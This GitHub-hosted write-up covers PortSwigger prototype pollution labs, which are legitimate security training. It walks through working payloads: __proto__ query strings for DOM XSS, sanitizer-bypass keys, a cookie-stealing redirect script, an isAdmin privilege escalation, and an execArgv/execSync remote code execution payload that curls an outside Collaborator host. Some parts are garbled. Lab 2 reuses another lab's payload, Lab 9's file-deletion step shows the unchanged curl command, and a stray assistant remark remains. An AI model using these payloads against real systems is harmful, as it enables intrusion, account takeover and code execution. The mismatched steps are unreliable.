portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy related to Prototype Pollution:

1 Client-side prototype pollution via browser APIs

This lab demonstrates how attackers can pollute JavaScript object prototypes using browser APIs to influence client-side behavior.

2 DOM XSS via client-side prototype pollution

This lab shows how prototype pollution can be leveraged to achieve DOM-based Cross-site Scripting (XSS).

3 DOM XSS via an alternative prototype pollution vector

This lab demonstrates achieving DOM XSS through less common prototype pollution vectors.

4 Client-side prototype pollution via flawed sanitization

This lab explores how flawed sanitization can allow prototype pollution attacks on the client side.

5 Client-side prototype pollution in third-party libraries

This lab covers prototype pollution vulnerabilities introduced by insecure third-party JavaScript libraries.

6 Privilege escalation via server-side prototype pollution

This lab demonstrates how attackers can leverage prototype pollution on the server side to escalate privileges.

7 Detecting server-side prototype pollution without polluted property reflection

This lab shows how attackers can identify server-side prototype pollution even when the application does not reflect polluted properties.

8 Bypassing flawed input filters for server-side prototype pollution

This lab demonstrates bypassing input validation filters to exploit server-side prototype pollution vulnerabilities.

9 Remote code execution via server-side prototype pollution

This lab demonstrates how server-side prototype pollution can lead directly to remote code execution.

LAB 1 - Client-side prototype pollution via browser APIs

Lab Description

image

Solution

Find a prototype pollution source

  1. In your browser, try polluting Object.prototype by injecting an arbitrary property via the query string: /?__proto__[foo]=bar
  2. Open the browser DevTools panel and go to the Console tab.
  3. Enter Object.prototype. Study the properties of the returned object and observe that your injected foo property has been added. You’ve successfully found a prototype pollution source.

    image


Identify a gadget

  1. In the browser DevTools panel, go to the Sources tab.
  2. Study the JavaScript files that are loaded by the target site and look for any DOM XSS sinks.
  3. In searchLoggerConfigurable.js, notice that if the config object has a transport_url property, this is used to dynamically append a script to the DOM.
  4. Observe that a transport_url property is defined for the config object, so this doesn’t appear to be vulnerable.
  5. Observe that the next line uses the Object.defineProperty() method to make the transport_url unwritable and unconfigurable. However, notice that it doesn’t define a value property.

    image


Craft an exploit

  1. Using the prototype pollution source you identified earlier, try injecting an arbitrary value property: /?__proto__[value]=foo
  2. In the browser DevTools panel, go to the Elements tab and study the HTML content of the page. Observe that a <script> element has been rendered on the page, with the src attribute set to foo.

    image

Modify the payload in the URL to inject an XSS proof-of-concept. For example, you can use a data: URL as follows: /?__proto__[value]=data:,alert(1);

Observe that alert(1) is called and the lab is solved.

image


DOM Invader solution:

Load the lab in Burp’s built-in browser. Enable DOM Invader and enable the prototype pollution option.

image

Open the browser DevTools panel, go to the DOM Invader tab, then reload the page. Observe that DOM Invader has identified two prototype pollution vectors in the search property (i.e. the query string).

Click on the test to see the prototype source.

image

Now we can see the prototype source after clicking on the test.

image

Click Scan for gadgets. A new tab opens in which DOM Invader begins scanning for gadgets using the selected source.

image

When the scan is complete, open the DevTools panel in the same tab as the scan, then go to the DOM Invader tab. Observe that DOM Invader has successfully accessed the script.src sink via the value gadget. Click Exploit. DOM Invader automatically generates a proof-of-concept exploit and calls alert(1).

image

We can see the above payload url encoded we decode to see the payload

image

The lab is solved after the alert.

image


LAB 3 - DOM XSS via an alternative prototype pollution vector

Lab Description

image

Solution

Find a prototype pollution source

  1. In your browser, try polluting Object.prototype by injecting an arbitrary property via the query string: /?__proto__[foo]=bar

  2. Open the browser DevTools panel and go to the Console tab.
  3. Enter Object.prototype.
  4. Study the properties of the returned object. Observe that it now has a foo property with the value bar. You’ve successfully found a prototype pollution source.

image

Identify a gadget:

1 In the browser DevTools panel, go to the Sources tab. 2 Study the JavaScript files that are loaded by the target site and look for any DOM XSS sinks. 3 In searchLogger.js, notice that if the config object has a transport_url property, this is used to dynamically append a script to the DOM. 4 Notice that no transport_url property is defined for the config object. This is a potential gadget for controlling the src of the **

image

Craft an exploit

  1. Using the prototype pollution source you identified earlier, try injecting an arbitrary transport_url property: /?__proto__[transport_url]=foo
  2. In the browser DevTools panel, go to the Elements tab and study the HTML content of the page. Observe that a

image

Modify the payload in the URL to inject an XSS proof-of-concept. For example, you can use a data: URL as follows: /?__proto__[transport_url]=data:,alert(1); image

DOM Invader solution:

Open the lab in Burp’s built-in browser.Enable DOM Invader and enable the prototype pollution option.

image

Observe that DOM Invader has identified two prototype pollution vectors in the search property i.e. the query string. And Click Scan for gadgets. A new tab opens in which DOM Invader begins scanning for gadgets using the selected source

image

When the scan is complete, open the DevTools panel in the same tab as the scan, then go to the DOM Invader tab.

image

Observe that DOM Invader has successfully accessed the script.src sink via the transport_url gadget. And then lick Exploit. DOM Invader automatically generates a proof-of-concept exploit and calls alert(1).

image

Clicking on expliot generate alert.

image

And after one is alert lab is solved.

image


LAB 2 - DOM XSS via client-side prototype pollution

Lab Description

image

Solution

Find a prototype pollution source

  1. In your browser, try polluting Object.prototype by injecting an arbitrary property via the query string: /?__proto__[foo]=bar

image

  1. Open the browser DevTools panel and go to the Console tab.

  2. Enter Object.prototype.

  3. Study the properties of the returned object and observe that your injected foo property has not been added.

    image

  4. Back in the query string, try using an alternative prototype pollution vector: /?__proto__.foo=bar

  5. In the console, enter Object.prototype again. Notice that it now has its own foo property with the value bar. You’ve successfully found a prototype pollution source.

  6. In the console, enter Object.prototype again. Notice that it now has its own foo property with the value bar. You’ve successfully found a prototype pollution source.


Identify a gadget

  1. In the browser DevTools panel, go to the Sources tab.
  2. Study the JavaScript files that are loaded by the target site and look for any DOM XSS sinks.
  3. Notice that there is an eval() sink in searchLoggerAlternative.js.
  4. Notice that the manager.sequence property is passed to eval(), but this isn’t defined by default.

image


Craft an exploit

  1. Using the prototype pollution source you identified earlier, try injecting an arbitrary transport_url property: /?__proto__[transport_url]=foo 2 In the browser DevTools panel, go to the Elements tab and study the HTML content of the page. Observe that a

image

Modify the payload in the URL to inject an XSS proof-of-concept. For example, you can use a data: URL as follows: /?__proto__[transport_url]=data:,alert(1); Observe that the alert(1) is called and the lab is solved.

image


DOM Invader solution

  1. Load the lab in Burp’s built-in browser.
  2. Enable DOM Invader and enable the prototype pollution option.
  3. Open the browser DevTools panel, go to the DOM Invader tab, and reload the page.

image

Observe that DOM Invader has identified a prototype pollution vector in the search property, i.e., the query string. Click Scan for gadgets. A new tab opens in which DOM Invader begins scanning for gadgets using the selected source.

image

When the scan is complete, open the DevTools panel in the same tab as the scan, then go to the DOM Invader tab.

image

image

Observe that DOM Invader has successfully accessed the eval() sink via the sequence gadget. Click Exploit. Observe that DOM Invader’s auto-generated proof-of-concept doesn’t trigger an alert().

image Decode the exploit find in dom invader.

image

Now follow all the Step of manual in which used delimentor to exclude the part 0f 1 and generate alert

image


LAB 4 - Client-side prototype pollution via flawed sanitization

Lab Description

image

Solution

Find a prototype pollution source

In your browser, try polluting Object.prototype by injecting an arbitrary property via the query string: /?__proto__[foo]=bar Open the browser DevTools panel and go to the Console tab. Enter Object.prototype. Study the properties of the returned object and observe that your injected foo property has not been added.

Try alternative prototype pollution vectors. For example:

Observe that in each instance, Object.prototype is not modified.

image

Using other prototype pollution

image


Using other prototype pollution vectors

Go to the Sources tab and study the JavaScript files that are loaded by the target site.

Notice that deparamSanitized.js uses the sanitizeKey() function defined in searchLoggerFiltered.js to strip potentially dangerous property keys based on a blocklist. However, it does not apply this filter recursively.

Back in the URL, try injecting one of the blocked keys in such a way that the dangerous key remains after the sanitization process. For example:

image

/?__pro__proto__to__[foo]=bar
/?__pro__proto__to__.foo=bar
/?constconstructorructor[protoprototypetype][foo]=bar
/?constconstructorructor.protoprototypetype.foo=bar

In the console, enter Object.prototype again. Notice that it now has its own foo property with the value bar. You’ve successfully found a prototype pollution source and bypassed the website’s key sanitization.

The first prototype works for us.

image


Identify a gadget

Study the JavaScript files again and notice that searchLogger.js dynamically appends a script to the DOM using the config object’s transport_url property, if present. Notice that no transport_url property is set for the config object — this is a potential gadget.

image

Using the prototype pollution source you identified earlier, try injecting an arbitrary transport_url property: /?__pro__proto__to__[transport_url]=foo

In the browser DevTools panel, go to the Elements tab and study the HTML content of the page. Observe that a <script> element has been rendered on the page, with the src attribute set to foo.

image

Modify the payload in the URL to inject an XSS proof-of-concept. For example, you can use a data: URL as follows: /?__pro__proto__to__[transport_url]=data:,alert(1);

image

Observe that the alert(1) is called and the lab is solved.


LAB 5 - Client-side prototype pollution in third-party libraries

Lab Description

image

Solution

Load the lab in Burp’s built-in browser.

image

Enable DOM Invader and enable the prototype pollution option.

Open the browser DevTools panel, go to the DOM Invader tab, then reload the page. Observe that DOM Invader has identified two prototype pollution vectors in the hash property, i.e., the URL fragment string. Now click on test to see the source of the prototype pollution that we have found.

image

As we can see in blue, we have found the source of prototype pollution.

image

We also tested the same prototype above in the browser instance of Burp’s DOM Invader browser. image

After that, we clicked on Scan Gadget. When the scan is complete, open the DevTools panel in the same tab as the scan, then go to the DOM Invader tab. Observe that DOM Invader has successfully accessed the setTimeout() sink via the hitCallback gadget. Click Exploit. DOM Invader automatically generates a proof-of-concept exploit and calls alert(1).

image

We can see that clicking Exploit gives us the gadget to exploit and generates the alert.

image

Disable DOM Invader. In the browser, go to the lab’s Exploit Server. In the Body section, craft an exploit that will navigate the victim to a malicious URL as follows:

<script>
location="https://YOUR-LAB-ID.web-security-academy.net/#__proto__[hitCallback]=alert(document.cookie)"
</script>

Test the exploit on yourself, making sure that you’re navigated to the lab’s home page and that the alert(document.cookie) payload is triggered.

image

It triggered the alert in the test, but not when I delivered it — the lab was not solved.

image

So, I URL-encoded the bracketed payload, delivered it to the victim, and then the lab was solved.

image

And the lab is solved.

image


LAB 6 - Privilege escalation via server-side prototype pollution

Lab Description

image

Solution

Study the address change feature

Log in and visit your account page. Submit the form for updating your billing and delivery address. In Burp, go to the Proxy > HTTP history tab and find the POST /my-account/change-address request. Observe that when you submit the form, the data from the fields is sent to the server as JSON. Notice that the server responds with a JSON object that appears to represent your user. This has been updated to reflect your new address information. Send the request to Burp Repeater.

image

After logging in, we can see the page below.

image

Change the country to Pak and submit it.

image

Below we can see the information after updating the country.

image

In Burp, go to the Proxy > HTTP history tab and find the POST /my-account/change-address request. Observe that when you submit the form, the data from the fields is sent to the server as JSON. Notice that the server responds with a JSON object that appears to represent your user. This has been updated to reflect your new address information.

image

Below we can see the request sent to Repeater.

image

image


Identify a prototype pollution source

In Repeater, add a new property to the JSON with the name __proto__, containing an object with an arbitrary property:

"__proto__": {
  "foo": "bar"
}

Send the request. Notice that the object in the response now includes the arbitrary property that you injected, but no __proto__ property. This strongly suggests that you have successfully polluted the object’s prototype and that your property has been inherited via the prototype chain.

image


Identify a gadget

  1. Look at the additional properties in the response body.
  2. Notice the isAdmin property, which is currently set to false.

    image


Craft an exploit

  1. Modify the request to try polluting the prototype with your own isAdmin property:
"__proto__": {
  "isAdmin": true
}
  1. Send the request. Notice that the isAdmin value in the response has been updated. This suggests that the object doesn’t have its own isAdmin property but has instead inherited it from the polluted prototype.

Note: Remember to add a comma to close the sessionID.

image


In the browser, refresh the page and confirm that you now have a link to access the admin panel.

image

Go to the admin panel and delete carlos to solve the lab.

image


LAB 7 - Detecting server-side prototype pollution without polluted property reflection

Lab Description

image

Solution

Log in and visit your account page.

image

Submit the form for updating your billing and delivery address.

image image

Updated account

In Burp, go to the Proxy > HTTP history tab and find the POST /my-account/change-address request. Send it to Repeater.

image

In Repeater, add a new property to the JSON with the name __proto__, containing an object with an arbitrary property:

Send the request. Observe that the object in the response does not reflect the injected property. However, this doesn’t necessarily mean that the application isn’t vulnerable to prototype pollution.

image


Identify a prototype pollution source

In the request, modify the JSON in a way that intentionally breaks the syntax. For example, delete a comma from the end of one of the lines. Send the request. Observe that you receive an error response in which the body contains a JSON error object. Notice that although you received a 500 error response, the error object contains a status property with the value 400.

image

In the request, make the following changes:

  1. Send the request and confirm that you receive the normal response containing your user object.
  2. Intentionally break the JSON syntax again and reissue the request (we removed the comma from sessionID).

Notice that this time, although you triggered the same error, the status and statusCode properties in the JSON response match the arbitrary error code that you injected into Object.prototype. This strongly suggests that you have successfully polluted the prototype and the lab is solved.

image

image


LAB 8 - Bypassing flawed input filters for server-side prototype pollution

Lab Description

image

Solution

Study the address change feature

Log in and visit your account page.

image

Submit the form for updating your billing and delivery address.

image

In Burp, go to the Proxy > HTTP history tab and find the POST /my-account/change-address request. Observe that when you submit the form, the data from the fields is sent to the server as JSON. Notice that the server responds with a JSON object that appears to represent your user. This has been updated to reflect your new address information. Send the request to Burp Repeater.

image

Now we have used the payload, but it is reflected in the response.

image


Identify a prototype pollution source

In Repeater, add a new property to the JSON with the name __proto__, containing an object with a json spaces property: "__proto__": { "json spaces": 10 } The response remains unaffected.

image

Modify the request to try polluting the prototype via the constructor property instead:

"constructor": {
  "prototype": {
    "json spaces": 10
  }
}

Resend the request. In the Response panel, go to the Raw tab. This time, notice that the JSON indentation has increased based on the value of your injected property. This strongly suggests that you have successfully polluted the prototype.

image


Identify a gadget

  1. Look at the additional properties in the response body.
  2. Notice the isAdmin property, which is currently set to false.

Craft an exploit

  1. Modify the request to try polluting the prototype with your own isAdmin property:
"constructor": {
  "prototype": {
    "isAdmin": true
  }
}
  1. Send the request. Notice that the isAdmin value in the response has been updated. This suggests that the object doesn’t have its own isAdmin property but has instead inherited it from the polluted prototype.

    image

In the browser, refresh the page and confirm that you now have a link to access the admin panel. Go to the admin panel and delete Carlos to solve the lab.

image


LAB 9 - Remote code execution via server-side prototype pollution

Lab Description

image

Solution

Here’s your write-up with corrected grammar and syntax — content has not been changed:


Study the address change feature

  1. Log in and visit your account page.

image

Submit the form for updating your billing and delivery address.

image

In Burp, go to the Proxy > HTTP history tab and find the POST /my-account/change-address request. Observe that when you submit the form, the data from the fields is sent to the server as JSON. Notice that the server responds with a JSON object that appears to represent your user. This has been updated to reflect your new address information. Send the request to Burp Repeater.

image


Identify a prototype pollution source

  1. In Repeater, add a new property to the JSON with the name __proto__, containing an object with a json spaces property:
"__proto__": {
  "foo": "bar"
}

OR

"__proto__": {
  "json spaces": 10
}

Send the request.

In the response, see that "bar" is injected, confirming prototype pollution.

image


Probe for remote code execution

In the browser, go to the admin panel and observe that there’s a button for running maintenance jobs.

image

Click the button and observe that this triggers background tasks that clean up the database and filesystem. This is a classic example of functionality that may spawn Node.js child processes.

image

After clicking Maintenance, the page below will show up.

image

We can also see the HTTP request of the maintenance job in the below image.

image

Try polluting the prototype with a malicious execArgv property that adds the --eval argument to the spawned child process. Use this to call the execSync() sink, passing in a command that triggers an interaction with the public Burp Collaborator server. For example:

"__proto__": {
  "execArgv": [
    "--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"
  ]
}

Send the request.

image

In the browser, go to the admin panel and trigger the maintenance jobs again.

Notice that these jobs have both failed this time.

In Burp, go to the Collaborator tab and poll for interactions. Observe that you have received several DNS interactions, confirming remote code execution.

image


Craft an exploit

  1. In Repeater, replace the curl command with a command to delete Carlos’s file:
"__proto__": {
  "execArgv": [
    "--eval=require('child_process').execSync('curl https://YOUR-COLLABORATOR-ID.oastify.com')"
  ]
}

Send the request. image

Go back to the admin panel and trigger the maintenance jobs again.

image

Carlos’s file is deleted and the lab is solved.


Lab is solved.

image